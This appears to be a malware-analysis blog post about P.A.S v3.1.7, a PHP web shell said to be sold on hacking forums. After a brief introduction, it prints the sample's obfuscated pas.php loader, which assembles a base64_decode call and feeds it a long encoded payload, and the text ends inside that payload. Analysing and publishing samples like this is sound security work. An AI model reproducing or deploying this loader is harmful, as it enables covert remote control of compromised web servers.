Just a PHP Web-Shell Sold in Dark Forums

@TinehNimeh aka Tineh Bear

Many friends share the malware they find with me all the time and I usually reverse them on my off-hours. This time, Tineh Bear @TinehNimjeh gave me this zip file called P.A.S v3.1.7 and no other information. It’s interesting that this little script is sold on some known exploit/hacking forums previously mentioned by Brian Krebs. At first I thought it was some kind of php exploit, but sadly I was mistaken. After decoding the base64, it turns out to be a php web-shell. As another friend mentioned, it’s a pretty standard php shell. However compared to the other well known versions of P.A.S. this code seemed to be a simple variation. Below is example of another variation.

Note: I’m not here to expose the original authors, just here to share what this particular web-shell does and looks like.

The zip file contained 2 files password.txt and pas.php. Don’t worry that website has already been taken down.

password.txt
pas.php

<?php $_f___f='base'.(128/2).'_de'.'code';$_f___f=$_f___f(str_replace("\n", '', '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
